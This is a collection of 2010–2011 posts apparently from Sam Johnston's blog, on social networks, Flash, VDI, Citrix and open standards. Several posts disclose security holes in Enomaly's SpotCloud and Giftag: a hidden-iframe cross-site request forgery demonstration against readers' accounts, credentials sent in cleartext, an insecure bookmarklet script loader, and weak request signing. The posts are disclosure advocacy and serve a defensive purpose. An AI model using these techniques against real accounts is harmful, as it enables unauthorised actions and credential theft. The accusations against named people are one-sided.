The big question today is whether Google+ can cross the chasm too and give Facebook a run for its money. Facebook, having achieved "new-market disruption" with almost a decade head start in refining the service with a largely captive audience, now exhibits extremely strong network effects. It would almost certainly take another disruptive innovation to displace them (that is, according to Clayton Christensen, one that develops in an emerging market and creates a new market and value network before going on to disrupt existing markets and value networks), in the same way that Google previously disrupted the existing search market a decade ago.

In observing that creating a link to a site is essentially a vote for that site ("PageRank"), Google implemented a higher quality search engine that was more efficient, more scalable and less susceptible to spam. In the beginning ~~Backrub~~ Google was nothing special and the incumbents (remember Altavista?) were continuously evolving — they had little to fear from Google and Google had little to fear from them as it simply wasn't worth their while chasing after potentially disruptive innovations like Backrub. They were so disinterested in fact that Yahoo! missed an opportunity to acquire Google for $3bn in the early days. Like most disruptive technologies, PageRank was technologically straightforward and far simpler than trying to determine relevance from the content itself. It was also built on a revolutionary hardware and software platform that scaled out rather than up, distributing work between many commodity PCs, thus reducing costs and causing "low-end disruption". Its initial applications were trivial, but it quickly outpaced the sustaining innovation of the incumbents and took the lead, which it has held ever since:

Today Facebook is looking increasingly disruptive too, only in their world it's no longer about links between pages, but links between people (which are arguably far more valuable). Last year while working at Google I actively advocated the development of a "PageRank for people" (which I referred to as "PeopleRank" or "SocialRank"), whereby a connection to a person was effectively a vote for that person and the weight of that vote would depend on the person's influence in the community, in the same way that a link from microsoft.com is worth more than one from viagra.tld (which could actually have negative value in the same way that hanging out with the wrong crowd negatively affects reputation). I'd previously built what I'd call a "social metanetwork" named "meshed" (which never saw the light of day due to cloud-related commitments) and the idea stemmed from that, but I was busy running tape backups for Google, not building social networks on the Emerald Sea team.

With the wealth of information Google has at its fingertips — including what amounts to a pen trace of users' e-mail and (courtesy Android and Google Voice) phone calls and text messages — it should have been possible for them to completely automate the process of circle creation, in the same way that LinkedIn Maps can identify clusters of contacts. But they didn't (perhaps because they got it badly wrong with Buzz), and they're now on the sustaining innovation treadmill with otherwise revolutionary differentiating features being quickly co-opted by Facebook (circles vs lists, hangouts vs Skype, etc).

Another factor to consider is that Google have a massive base of existing users in a number of markets that they can push Google+ to, and they're not afraid to do so (as evidenced by its appearance in other products and services including Android, AdWords, Blogger, Chrome, Picasa, Maps, News, Reader, Talk, YouTube and of course the ubiquitous sandbar and gratuitous blue arrow which appeared on Google Search). This strategy is not without risk though as if successful it will almost certainly attract further antitrust scrutiny, in the same way that Microsoft found itself in hot water for what was essentially putting an IE icon on the desktop. Indeed I had advocated the deployment of Google+ as a "social layer" rather than isolated product (ala the defunct Google Buzz), but stopped short of promoting an integrated product to rival Facebook — if only to maintain a separation of duties between content production/hosting and discovery.

The solution

While I'm happy to see some healthy competition in the space, I'd rather not see any of the social networks "win" as if any one of them were able to cement a monopoly then us users would ultimately suffer. At the end of the day we need to remember that for any commercial social network we're not the customer, we're the product being sold:

As such, I strongly advocate the adoption of open standards for social networking, whereby users select a service or host a product that is most suitable for their specific needs (e.g. personal, professional, branding, etc) which is interoperable with other, similar products.

What we're seeing today is similar to the early days of Internet email, where the Simple Mail Transfer Protocol (SMTP) broke down the barriers between different silos — what we need is an SMTP for social networking.

References:

Diffusion of Innovations, Everett M Rogers
Crossing the Chasm, Geoffrey A Moore
The Innovator's Dilemma, Clayton M Christensen

Sources:

Facebook: 800 million users (active) [source]
Twitter: 200 million users (active) [source]
LinkedIn: 135 million users (total) [source]
MySpace: 75.9 million users (peak) [source]
Google+: 40 million users (total) [source]

RIP Adobe Flash (1996-2011) - now let's bury the dead

samj@samj.net (Sam Johnston) — Fri, 11 Nov 2011 05:06:08 PST

Adobe kills mobile Flash, giving Steve Jobs the last laugh, reports The Guardian's Charles Arthur following the late Steve Jobs' epic Thoughts on Flash rant 18 months ago. It's been about 2.5 years since I too got sick of Flash bringing my powerful Mac to its knees, so I went after the underlying lie that perpetuates the problem, explaining why Adobe Flash penetration is more like 50% than 99%. I even made progress Towards a Flash free YouTube killer, only it ended up being YouTube themselves who eventually started testing a YouTube HTML5 Video Player (while you're there please do your bit for the open web by clicking "Join the HTML5 Trial" at the bottom of that page).

I heard a sound as though a million restaurant websites cried out at once — Charles Arthur

You see, armed with this heavily manipulated statistic, armies of developers are to this day fraudulently duping their paying clients into deploying a platform that will invariably turn away a percentage of their business at the door, in favour of annoying flaming logos and other atrocities that blight the web:

How much business can you tolerate losing? If you've got 95% penetration then you're turning away 1 in 20 customers. At 90% you're turning away 1 in 10. At 50% half of your customers won't even get to see your product. I don't know too many businesses who can afford to turn away any customers in this economic climate.

In my opinion the only place Flash technology has in today's cloud computing environment is as a component of the AIR runtime for building (sub-par) cross-platform applications, and even then I'd argue that they should be using HTML5. As an Adobe Creative Suite Master Collection customer I'm very happy to see them dropping support for this legacy technology to focus on generating interactive HTML5 applications, and look forward to a similar announcement for desktop versions of the Flash player in the not too distant future.

In any case, with the overwhelming majority of devices being mobile today and with more and more of them including browser functionality, the days of Flash were numbered even before Adobe put the mobile version out of its misery. Let's not drag this out any longer than we have to, and bury the dead by uninstalling Flash Player. Here's instructions for Mac OS X and Windows, and if you're not ready to take the plunge into an open standards based HTML5 future then at least install FlashBlock for Chrome or Firefox (surely you're not still using IE?).

Update: Flash for TV is dead too, as if killing off mobile wasn't enough: Adobe Scrapping Flash for TV, Too‎

Update: Rich Internet Application (RIA) architectures in general are in a lot of trouble — Microsoft are killing off Silverlight as well: Mm, Silverlight, what's that smell? Yes, it's death

Update: In a surprising move that will no doubt be reversed, RIM announced it would continue developing Flash on the PlayBook (despite almost certainly lacking the ability to do so): RIM vows to keep developing Flash for BlackBerry PlayBook – no joke

How NOT to respond to vulnerability reports

samj@samj.net (Sam Johnston) — Wed, 09 Nov 2011 04:57:38 PST

Reuven Cohen and the guys at Enomaly could write the book on how NOT to respond to vulnerability reports:

Don't disavow vulnerabilities in products you've previously taken credit for
Don't claim issues are not valid while denying researchers a right of reply
Don't claim obvious issues are "unactionably vague" and then ignore them, even after a working exploit is publicly available
Don't claim trivial remote root exploits are "theoretically valid but extremely difficult to exploit"
Don't claim it's ok to rely on security by obscurity or race conditions
Don't turn on moderation because a researcher posts a vulnerability report to your lists
Don't subsequently ban a researcher from your lists because they tried to notify your users when you failed to
Don't claim that security vulnerabilities are ok because there have been "no reports of any security compromise"
Don't claim "other mitigating factors that have been present in the environment from the beginning" when the vulnerability has already been demonstrated
Don't ask for private notification of vulnerabilities only to then ignore/dispute them
Don't publicly call researchers unethical for opting for full disclosure, especially when they do so because you have been reticent and unresponsive in the past
Don't release ineffective fixes, especially when the researcher has told you exactly how to fix it
Don't dispute the vulnerability when a clearinghouse like Secunia contacts you to verify it
Don't criticise researchers for reviewing your product
Don't shoot the messenger
Don't downplay critical vulnerabilities as "relatively minor", "random" paths as "pretty hard to guess", etc.
Don't send in board members to fight your battles
Don't claim new products having "significant new and enhanced functionality" is a valid excuse
Don't make security claims like "High Assurance" if you're not going to take security seriously
Don't claim that "Enomaly shall be entitled to (i) suspend or de-activate your account without notice, and (ii) retain any remaining funds in your account", and definitely don't actually do it.

After my recent SploitCloud: exploiting cloud brokers for fun and profit article and the follow-up Retro vulnerability of the day: cleartext passwords over the wire you'd have thought the publicly demonstrated vulnerabilities would have been quietly fixed and we'd have moved on. But no — they've decided instead to suspend my Spotcloud account so as I can't find any more holes, keeping funds they were holding in trust for payment to third-party providers as "compensation" — something I'm more inclined to refer to as "theft":

Enomaly have also not only failed to notify Spotcloud buyers and sellers that they are vulnerable themselves, but moderated (e.g. deleted) my notification to them and banned me from the lists in the process:

If I were one of the (apparently few) users of the Spotcloud service then I'd be extremely dissatisfied, to say the least, that this information was being actively concealed from me. At the end of the day you owe it to yourselves and your users to only ever work with providers who take security seriously.

Retro vulnerability of the day: cleartext passwords over the wire

samj@samj.net (Sam Johnston) — Tue, 08 Nov 2011 18:19:18 PST

While spending my Sunday looking at what people are doing with various cloud platform services I came across these 4 case studies on the Google App Engine (GAE) pricing page:

Ignoring WebFilings (who have an Amazon EC2 backend) and gigya (who have their own platform and only use GAE for their live chat applet), Best Buy caught my eye as I already caught them sending employee credentials in the clear with the Twelpforce GAE app written by Enomaly a few years ago and Giftag was also done in "partnership" with Best Buy (whatever that means): "Enomaly Launches Giftag.com for Best Buy".

I also stumbled on a cross-site request forgery vulnerability in Enomaly's own flagship SpotCloud product earlier this year, which I wrote up last week — some 6 months after the initial report: SploitCloud: exploiting cloud brokers for fun and profit.

Sure enough when you crack out Wireshark and sniff the wire you can clearly see they're sending credentials in the clear over the public Internet, both at signup:

...and for good measure, on every login:

This wouldn't be such a problem were it not for rampant password reuse — I would not be at all surprised if most of the email/password combinations captured also worked on the email account itself. That is, by sniffing Giftag signups/logins you also have a good chance of a type of privilege escalation to the email account and from there to other services like Facebook:

To their credit(!?!), the other GAE case study application (Apmasphere, a property management application by Ray White, Australia's largest real estate group) exhibits exactly the same vulnerability, both at signup:

~~...and at login:~~

The moral of the story is that it doesn't matter how trivial your app is, given enough rope users will hang themselves by re-using passwords. As developers you owe it to your employers, clients and users to protect them from themselves, in this case by requiring SSL using Google App Engine's "secure: always" configuration directive which was introduced over 3 years ago. Very soon you'll also be able to use your own domains with SSL (rather than *.appspot.com) which, due to limitations in the protocol, is technically challenging to implement for a multi-tenant service at scale.

Update: While Best Buy's Giftag IP address is owned by Google (according to whois) and runs on the Google platform (according to the Server: Google Frontend HTTP header), the IP address for Ray White's Apmasphere is owned by Primus Telecommunications (according to whois) and runs an Apache web server (according to the Server: Apache HTTP header). Does anyone know whether one of the four main GAE case studies has indeed migrated to an in-house platform and if so, when and why? More to the point, is anyone aware of anyone doing anything of any consequence on GAE? I'm still looking for decent case studies of GAE native applications.

Update: Enomaly founder, Reuven Cohen disavows the vulnerability, claiming "Interestingly, the GAE version the giftag site wasn't developed by enomaly." SFAICT the "GAE version" is the only version so in my opinion they're responsible or they're plagiarists — taking someone else's work or ideas and passing them off as one's own. I'll let you decide for yourselves:

And 6 months later:

Update: The Giftag extension for Firefox is also vulnerable:

Update: Even the bookmarklet is vulnerable... if you add this to your toolbar and click on it then it will insecurely retrieve Javascript (gift-bookmarklet-loader.js) and execute it, even within an SSL session. That is, an attacker can trivially execute trusted code that has full access to secure pages:

javascript: (function () {
    var d = document;
    var s = d.createElement('script');
    s.id = "gt_boot";
    s.setAttribute('src', 'http://www.giftag.com:80/media/js/gift-bookmarklet-loader.js');
    d.getElementsByTagName('head')[0].appendChild(s);
})();

SploitCloud: exploiting cloud brokers for fun and profit

samj@samj.net (Sam Johnston) — Tue, 08 Nov 2011 17:42:58 PST

My friends at Enomaly have been beating up on Amazon Web Services (AWS) over the XML signature element wrapping vulnerability currently being overhyped by the press, which is ironic given their security track record and unfortunate given I rather like what Amazon have achieved.

Back in March I reported multiple vulnerabilities in SpotCloud (including their having copied Amazon's vulnerable signatures years after they were reported and fixed) and I was told I was unethical and my report that they "may not validate incoming web and/or API requests and if so, may be vulnerable to cross-site request forgery in which an attacker could make unauthorised management requests on behalf of a user" was "unactionably vague".

To demonstrate the severity of the outstanding vulnerability go grab yourself a SpotCloud account, charge it up (ignoring PCI-DSS for a second given they're collecting credit card numbers via App Engine) and click the image below. I'll silently create an instance for you using a hidden IFRAME, but you're welcome to experiment with more destructive experiments like deleting existing instances and uploading malicious workloads.

Update: If you look at the code you'll see the hourly rate is passed to the client as "cost" and presumably trusted on return (if not, why is it there?). I haven't seen a price manipulation vulnerability in over a decade, but I'm not tinkering with it because I don't fancy being accused of stealing from them or their providers.

Update: While the consumer API now uses OAuth, the provider API still uses Amazon's vulnerable signatures for authentication:

#sorts by key.lowercase(). ie A b c Dee e ffFf
sorted_keys = sorted(parameters.keys(), key=lambda k: k.lower())

#concatenates key,value pairs. a=1,b=2,C=32 becomes "a1b2C32"
data = ’’.join(key + parameters[key] for key in sorted_keys)

#Data is now: ecp_usernamespotcloudusernameparamAvalueTimestamp2006-12-08T07:48:03Z
digest = hmac.new(’spotcloudpassword’, data, sha).digest()

This may have been safe over SSL were it not for the fact that client libraries (including python) typically don't validate the certificate chain by default.

Update: Wells Fargo reports "CHECK CRD PURCHASE SPOT CLOUD ETOBICOKE CD" as "Unusual Activity" in emailed alert… canceling card, requesting re-issue. Should have used a virtual card. Wonder if Google know their App Engine poster child is using it to collect credit card details?

Update: It is believed that Private SpotCloud and Enomaly Elastic Computing Platform (ECP) are also vulnerable to cross-site request forgery, but without access to the software I have no way to verify.

Update: This is how Enomaly deals with security researchers:

Facebook blocks entire ".co.uk" domain as "spammy or unsafe"

samj@samj.net (Sam Johnston) — Tue, 25 Oct 2011 02:16:25 PDT

Facebook have blocked ".co.uk" as "spammy or unsafe":

I was trying to post this article to my wall but get the same message when I try to post nothing more than http://www.google.co.uk/:

Reminds me of the day Google broke the Internet... and the dangers of getting regular expressions wrong.

Father of cloud computing dies

samj@samj.net (Sam Johnston) — Mon, 24 Oct 2011 16:38:24 PDT

"If computers of the kind I have advocated become the computers of the future, then computing may someday be organized as a public utility just as the telephone system is a public utility... The computer utility could become the basis of a new and important industry."

— John McCarthy (speaking at the MIT Centennial in 1961)

VDI: Virtually Dead Idea?

samj@samj.net (Sam Johnston) — Wed, 12 Oct 2011 04:48:17 PDT

I've been meaning to give my blog some attention (it's been almost a year since my last post, and a busy one at that) and Simon Crosby's (@simoncrosby) VDwhy? post seems as good a place to start as any. Simon and I are both former Citrix employees ("Citrites") and we're both interested in similar topics — virtualisation, security and cloud computing to name a few. It's no surprise then that I agree with his sentiments about Virtual Desktop Infrastructure (VDI) and must admit to being perplexed as to why it gets so much attention, generally without question.

History

Windows NT ("New Technology"), the basis for all modern Microsoft desktop operating systems, was released in 1993 and shortly afterwards Citrix (having access to the source code) added the capability to support multiple graphical user interfaces concurrently. Windows NT's underlying architecture allowed for access control lists to be applied to every object, which made it far easier for this do be done securely than what might have been possible on earlier versions. They also added their own proprietary ICA ("Independent Computing Architecture") network protocol such that these additional sessions could be accessed remotely, over the network, from various clients (Windows, Linux, Mac and now devices like iPads, although the user experience is, as Simon pointed out, subpar). This product was known as Citrix WinFrame and was effectively a fork of Windows 3.51 (I admit to having been an NT/WinFrame admin in a past life, but mostly focused on Unix/Linux integration). It is arguably what put Citrix (now a $2bn revenue company) on the map, and it still exists today as XenApp.

Terminal Services

It turns out this was a pretty good idea. So good, in fact, that (according to Wikipedia) "Microsoft required Citrix to license their MultiWin technology to Microsoft in order to be allowed to continue offering their own terminal services product, then named Citrix MetaFrame, atop Windows NT 4.0". Microsoft introduced their own "Remote Desktop Protocol" and armed with only a Windows NT 4.0 Terminal Server Edition beta CD, Matthew Chapman (who went to the same college, university and workplace as me and is to this day one of the smartest guys I've ever met) cranked out rdesktop, if I remember well over the course of a weekend. I was convinced that this was the end of Citrix so imagine my surprise when I ended up working for them, on the other side of the world (Dublin, Ireland), almost a decade later!

VDI

About the time I left Citrix for a startup opportunity in Paris, France (2006) we were tinkering with a standalone ICA listener that could be deployed on a desktop operating system (bearing in mind that by now even Windows XP included Terminal Services and an RDP listener). I believe there was also a project working on the supporting infrastructure for cranking up and tearing down single-user virtual machines (rather than multiple Terminal Services sessions based on a single Windows Server, as was the status quo at the time), but I didn't get the point and never bothered to play with it.

Even then I was curious as to what the perceived advantage was — having spent years hardening desktop and server operating systems at the University of New South Wales to "student proof" them I considered it far easier to have one machine servicing many users than many machines servicing many users. Actually there's still one machine, only the virtualisation layer has been moved from between the operating system and user interface — where it arguably belongs — to between the bare metal and the operating system. As such it was now going to be necessary to run multiple kernels and multiple operating systems (with all the requisite configurations, patches, applications, etc.)!

Meanwhile there was work being done on "application virtualisation" (Project Tarpon) whereby applications are sandboxed by interrupting Windows' I/O Request Packets (IRPs) and rewriting them as required. While this was a bit of a hack (Windows doesn't require developers to follow the rules, so they don't and write whatever they want pretty much anywhere), it was arguably a step in the right — rather than wrong — direction.

Multitenancy

At the end of the day the issue is simply that it's better to share infrastructure (e.g. costs) between multiple users. In this case, why would I want to have one kernel and operating system dedicated to a single user (and exacting a toll in computing and human resources) when I can have one dedicated to many? In fact, why would I want to have an operating system at all, given it's now essentially just a life support system for the browser? The only time I ever interact with the operating system is when something goes wrong and I have to fix it (e.g. install/remove software, modify configurations, move files, etc.) so I'd much rather have just enough operating system than one for everyone and then a bunch more on servers to support them!

This is essentially what Google Chrome OS (one of the first client-side cloud operating environments) does, and I can't help but to wonder whether the chromoting feature isn't going to play a role in this market (actually I doubt it but it's early days).

The RightWay™

Five years ago (as I had one foot out the door of Citrix with my eye on a startup opportunity in Paris) I met with product strategist Will Harwood at the UK office and explained my vision for the future of Citrix products. I'd been working on the Netscaler acquisition (among others) and had a pretty good feeling for the direction things were going — I'd even virtualised the various appliances on top of Xen to deliver a common appliance platform long before it was acquired (and was happy to be there to see Citrix CEO Mark Templeton announce this product as Netscaler SDX at Interop).

It went something like this: the ~~MultiWin~~ ~~WinFrame~~ ~~MetaFrame~~ ~~Presentation Server~~ XenApp is a mature, best-of-breed product that had (and probably still has) some serious limitations. Initially the network-based ICA Browser service was noisy, flaky and didn't scale, so Independent Management Architecture (IMA) was introduced — a combination of a relational data store (SQL Server or Oracle) and a mongrel "IMA" protocol over which the various servers in a farm could communicate about applications, sessions, permissions, etc. Needless to say, centralised relational databases have since gone out of style in favour of distributed "NoSQL" databases, but more to the point — why were the servers trying to coordinate between themselves when the Netscaler was designed from the ground up to load balance network services?

My proposal was simply to take the standalone ICA browser and apply it to multi-user server operating systems rather than single-user client operating systems, ditching IMA altogether and delegating the task of (global) load balancing, session management, SSL termination, etc. to the Netscaler. This would be better/faster/cheaper than the existing legacy architecture, it would be more reliable in that failures would be tolerated and best of all, it would scale out rather than up. While the Netscaler has been used for some tasks (e.g. SSL termination), I'm surprised we haven't seen anything like this (yet)... or have we?

Caveat
I can think of at least one application where VDI does make sense — public multi-tenant services (like Desktone) where each user needs a high level of isolation and customisation.

For everyone else I'd suggest taking a long, hard look at the pros and cons because any attempt to deviate from the status quo should be very well justified. I use a MacBook Air and have absolutely no need nor desire to connect to my desktop from any other device, but if I did I'd opt for shared infrastructure (Terminal Services/XenApp) and for individual "seamless" applications rather than another full desktop. If I were still administering and securing systems I'd just create a single image and deploy it over the network using PXE — I'd have to do this for the hypervisor anyway so there's little advantage in adding yet another layer of complexity and taking the hit (and cost) of virtualisation overhead. Any operating system worth its salt includes whole disk encryption so the security argument is largely invalidated too.

I can think of few things worse than having to work on remote applications all day, unless the datacenter is very close to me (due to the physical constraints of the speed of light and the interactive/real-time nature of remote desktop sessions) and the network performance is strictly controlled/guaranteed. We go to great lengths to design deployments that are globally distributed with an appropriate level of redundancy, while being close enough to the end users to deliver the strict SLAs demanded by interactive applications — if you're not going to bother to do it properly then you might not want to do it at all.

Enomaly's SpotCloud and 'The Case Against Commodity Cloud Exchanges' (Redux)

samj@samj.net (Sam Johnston) — Fri, 28 Oct 2011 11:14:35 PDT

I wouldn't have bothered commenting on Enomaly's launch of the SpotCloud "private beta" today as I've been busy and neglecting my blog of late, but their Founder and CTO, Reuven Cohen, recently wrote an insightful critique of their competitor in this space, Zimory, which just needed a quick find and replace to be largely applicable here. See for yourself:

ElasticVapor: The Case Against Commodity Cloud Exchanges
The concept of a commodity cloud exchange is something that I've been talking about for several years. Notably Sun Microsystems also proposed it back in 2005. Recently a new start-up ~~spun out out of Deutsche Telekom~~ called ~~Zimory~~Enomaly is attempting to use this as the nexus of their ~~enterprise focused hybrid~~ cloud platform. The company describes itself as the first '~~global marketplace for cloud resources~~cloud computing clearinghouse and marketplace' to enable organizations to buy or sell extra computing capacity.

For those of you unfamiliar with the concept of a cloud exchange, the concept is to provide a central financially focused exchange where companies are able to trade standardized cloud capacity in the form of a futures contract; that is, a contract to buy specific quantities of a compute / storage / bandwidth capacity in the form of a commodity at a specified price with delivery set at a specified time in the future. The contract details what cloud asset is to be bought or sold, and how, when, where and in what quantity it is to be delivered, similar to a bandwidth exchange or clearing house. The exchange may be public or private akin to private exchanges / ECNs on the stock market, where membership is by invitation only

As I dug a little deeper into ~~the Zimory's~~Enomaly's SpotCloud web interface I noticed that ~~Zimory~~Enomaly SpotCloud is actually not really a marketplace so much as a ~~multi-~~cloud management platform. The platform does little to address security, audibility, accountability, or trading/futures contracts. My first question is why should I trust their cloud providers and how do I know they're secure?

Another problem with the platform is their approach to capacity access. It appears that you are forced to use their platform, a platform that has no API or web services that I could see. Also their approach to a SLA is not very obvious~~, they broadly describe three levels, Bronze, Silver and Gold with no insight into what these levels actually represent~~. We are too just take them at their word.

Upon closer examination of the ~~Zimory~~Enomaly SpotCloud platform it appears to be nothing more than a~~n open source hybrid~~ cloud computing platform with an "ebay" marketing spin. So lets for a moment assume that a Commodity Cloud Exchange is a service that businesses actually want. (I'm not convinced they do) If this is the case, is a random start-up such as ~~Zimory~~Enomaly really in a position to offer such a service? And if so, should this exchange look like ebay or should it look more like a traditional commodities exchange? My opinion is the latter. What worries me about such a cloud exchange is the first thought that comes to mind is Enron, who attempted a similar bandwidth focused offering in the late 90's.

If we truly want to enable a cloud computing exchange / marketplace, maybe a better choice would be to build upon an existing exchange platform with a proven history. A platform with an existing level of trust, governance as well as compliance such as the Chicago Mercantile Exchange's Globex electronic trading platform or even the NasDaq.

Creating a cloud exchange has less to do with the technology and more to do with the concept of trust and accountability. If I'm going to buy XX amount of regional capacity for my Christmas rush I want to rest assured that the capacity will be actually available. And more importantly at a quality of service and location that I've agreed upon. I also need to be assured that the exchange is financially stable and will remain in business for the foreseeable future. All of which ~~Zimory~~Enomaly's SpotCloud doesn't offer.

Trust and security aside, To make ~~Zimory~~Enomaly SpotCloud attractive, they need to enable a marketplace that allows its users to buy additional capacity based on economic / costing factors that matter. For example being able to define a daily budget for your app, similar to the way AdWords spending works. There needs to be a fine-grained control over this budget so you can apply it across CPU, network bandwidth, disk storage, location with a focus on future requirements (futures). I should be able to trade / swap any unused capacity as easily as I originally bought it. There needs to be provider quota system that allows for the assurance that a certain amount of cloud capacity is always available to the "exchange" with a priority level. There should be multiple types of trading contracts as well as an indepth audit trail with a clear level of transparency within the entire trading process.

At the end of the day, I'm not convinced we're ready for "standardized" cloud exchanges. The cloud computing industry is still emerging, there are no agreed upon standards for how we as an industry can collaborate as partners yet alone trade capacity. In a lot of ways I feel ~~Zimory~~Enomaly is putting the cart before the horse and is probably 5-10 years too early.

Citrix OpenCloud™ is neither Open nor Cloud

samj@samj.net (Sam Johnston) — Fri, 03 Sep 2010 05:18:25 PDT

I've been busying myself recently establishing the Open Cloud Initiative which has been working with the community to establish a set of principles outlining what it means to be open cloud. As such Citrix's announcement this week that they were "expanding their leadership in open cloud computing"(?) with the "Citrix OpenCloud™ Infrastructure platform" was somewhat intriguing, particularly for someone who's worked with Citrix technology for 15 years and actually worked for the company for a few years before leaving to get involved in cloud computing. I was already excited to see them getting involved with OpenStack a few weeks ago as I'm supportive of this project and amazed by the level of community interest and participation, though I was really hoping that they were going to adopt the stack and better integrate it with Xen.

As usual the release itself was fluffy and devoid of clear statements as to what any of this really meant, and it doesn't help that Citrix rebrands products more often than many change underwear. Armed with their product catalogue and information about their previous attempt to crack into the cloud space with Citrix Cloud Center (C3) I set about trying to decipher the announcement. The first thing that sprung out was the acquisition of VMlogix - a web based hypervisor management tool targeting lab environments that happens to also support Amazon EC2. Given OpenStack supports the EC2 API, perhaps this is how they plan to manage it as well as Xen "from a single management console"? Also, as Citrix are about to "add [the] intuitive, self-service interface to its popular XenServer® virtualization platform" it will be interesting to see how the likes of Enomaly feel about having a formidable ($10B+) opponent on their turf... not to mention VMware (but apparently VMware does NOT compete with Citrix - now there's wishful thinking if I've ever seen it!).

Citrix also claim that customers will be able to "seamlessly manage a mix of public and private cloud workloads from a single management console, even if they span across a variety of different cloud providers". Assuming they're referring to VMlogix, will it be open sourced? I doubt it... and here's the thing - I don't expect them to. Nobody says Citrix has to be open - VMware certainly aren't and that hasn't kept them from building a $30B+ business. However, if they want to advertise openness as a differentiator then they should expect to be called to justify their claims. From what I can tell only the Xen hypervisor itself is open source software and it's not at all clear how they plan to "leverage" Open vSwitch, nor whether OpenStack is even relevant given they're just planning to manage it from their "single management console". Even then, in a world where IT is delivered as a service rather than a product, the formats and interfaces are far more important than having access to the source itself; Amazon don't make Linux or Xen modifications available for example but that doesn't make them any less useful/successful (which is not to say that an alternative open source implementation like OpenStack isn't important - it absolutely is).

Then there's the claim that any of this is "cloud"... Sure I can use Intel chips to deliver a cloud service but does that make Intel chips "cloud"? No. How about Linux (which powers the overwhelming majority of cloud services today)? Absolutely not. So far as I can tell most of the "Citrix OpenCloud Framework" is little more than their existing suite of products ~~cloudwashed~~ rebranded:

CloudAccess ~= Citrix Password Manager
CloudBridge ~= Citrix Branch Repeater
On-Demand Apps & Demos ~= XenApp (aka WinFrame aka MetaFrame aka CPS)
On-Demand Desktops ~= XenDekstop
Compliance ~= XenApp & XenDesktop
Onboarding ~= Project Kensho
Disaster Recovery and Dev & Test ~= suites of above

At the end of the day Simon Crosby (one of the Xen guys who presumably helped convince Citrix an open source hypervisor was somehow worth $1/2bn) has repeatedly stated that Citrix OpenCloud™ is (and I quote) "100% open source software", only to backtrack by saying "any layer of the open stack you can use a proprietary compoent(sic)" when quizzed about NetScaler, "another key component of the OpenCloud platform" and @Citrix_Cloud helpfully clarified that "OPEN means it's plug-compatible with other options, like some open-source gear you cobble together with mobo from Fry's".

Maybe they're just getting started down the open road (I hope so), but this isn't my idea of "open" or "cloud" - and certainly not enough to justify calling it "OpenCloud".

How I tried to keep OCCI alive (and failed miserably)

samj@samj.net (Sam Johnston) — Fri, 25 Jun 2010 03:25:33 PDT

I was going to let this one slide but following a calumniatory missive to his "followers" by the Open Cloud Computing Interface's self-proclaimed "Founder & Chair", Sun refugee Thijs Metsch, I have little choice but to respond in my defense (particularly as "The Chairs" were actively soliciting followup from others on-list in support).

Basically a debate came to a head that has been brewing on- and off-list for months regarding the Open Grid Forum (OGF)'s attempts to prevent me from licensing my own contributions (essentially the entire normative specification) under a permissive Creative Commons license (as an additional option to the restrictive OGF license) and/or submit them to the IETF as previously agreed and as required by the OGF's own policies. This was on the grounds that "Most existing cloud computing specifications are available under CC licenses and I don't want to give anyone any excuses to choose another standard over ours" and that the IETF has an excellent track record of producing high quality, interoperable, open specifications by way of a controlled yet open process. This should come as no surprise to those of you who know I am and will always be a huge supporter of open cloud, open source and open standards.

The OGF process had failed to deliver after over 12 months of deadline extensions - the current spec is frozen in an incomplete state (lacking critical features like collections, search, billing, security, etc.) as a result of being prematurely pushed into public comment, nobody is happy with it (including myself), the community has all but dissipated (except for a few hard core supporters, previously including myself) and software purporting to implement it actually implements something completely different altogether (see for yourself). There was no light at the end of the tunnel and with both OGF29 and IETF78 just around the corner I yesterday took a desperate gamble to keep OCCI alive (as a CC-licensed spec, an IETF Internet-Draft or both).

I confirmed that I was well within my rights to revoke any copyright, trademark and other rights previously granted (apparently it was amateur hour as OGF had failed to obtain an irrevocable license from me for my contributions) and volunteered to do so if restrictions on reuse by others weren't lifted and/or the specification submitted to the IETF process as agreed and required by their own policies. Thijs' colleague (and quite probably his boss at Platform Computing), Christopher Smith (who doubles as OGF's outgoing VP of Standards) promptly responded, questioning my motives (which I can assure you are pure) and issuing a terse legal threat about how the "OGF will protect its rights" (against me over my own contributions no less). Thijs then followed up shortly after saying that they "see the secretary position as vacant from now on" and despite claims to the contrary I really couldn't give a rats arse about a title bestowed upon me by a past-its-prime organisation struggling (and failing I might add) to maintain relevance. My only concern is that OCCI have a good home and if anything Platform have just captured the sort of control over it as VMware enjoy over DMTF/vCloud, with Thijs being the only remaining active editor.

I thought that would be the end of it and had planned to let sleeping dogs lie until today's disgraceful, childish, coordinated and most of all completely unnecessary attack on an unpaid volunteer that rambled about "constructive technical debate" and "community driven consensus", thanking me for my "meaningful contributions" but then calling on others to take up the pitchforks by "welcom[ing] any comments on this statement" on- or off-list. The attacks then continued on Twitter with another OGF official claiming that this "was a consensus decision within a group of, say, 20+ active and many many (300+) passive participants" (despite this being the first any of us had heard of it) and then calling my claims of copyright ownership "genuine bullshit" and report of an implementor instantly pulling out because they (and I quote) "can't implement something if things are not stable" a "damn lie", claiming I was "pissed" and should "get over it and stop crying" (needless to say they were promptly blocked).

Anyway as you can see there's more to it than Thijs' diatribe would have you believe and so far as I'm concerned OCCI, at least in it's current form, is long since dead. I ~~am undecided as to whether to revoke~~ have revoked OGF's licenses at this time but it probably doesn't matter as they agree I retain the copyrights and I think their chance of success is negligible - nobody in their right mind would implement the product of such a dysfunctional group and those who already did have long since found alternatives. That's not to say the specification won't live on in another form but now the OGF have decided to go nuclear it's going to have to be in a more appropriate forum - one that furthers the standard rather than constantly holding it back.

Update: My actions have been universally supported outside of OGF and in the press (and here and here and here and here etc.) but unsurprisingly universally criticised from within - right up to the chairman of the board who claimed it was about trust rather than IPR (BS - I've been crystal clear about my intentions from the very beginning). They've done a bunch of amateur lawyering and announced that "OCCI is becoming an OGF proposed standard" but have not been able to show that they were granted a perpetual license to my contributions (they weren't). They've also said that "OGF is not really against using Creative Commons" but clearly have no intention to do so, apparently preferring to test my resolve and, if need be, the efficacy of the DMCA. Meanwhile back at the ranch the focus is on bright shiny things (RDF/RDFa) rather than getting the existing specification finished.

Protip: None of this has anything to do with my current employer so let's keep it that way.

Trend Micro abandons Intercloud™ trademark application

samj@samj.net (Sam Johnston) — Mon, 15 Feb 2010 14:15:00 PST

Just when I thought we were going to be looking at another trademark debacle not unlike Dell's attempt at "cloud computing" back in 2008 (see Dell cloud computing™ denied) it seems luck is with us in that Trend Micro have abandoned their application #77018125 for a trademark on the term Intercloud (see NewsFlash: Trend Micro trademarks the Intercloud™). They had until 5 February 2010 to file for an extension and according to USPTO's Trademark Document Retrieval system they have now well and truly missed the date (the last extension was submitted at the 11th hour, at 6pm on the eve of expiry).
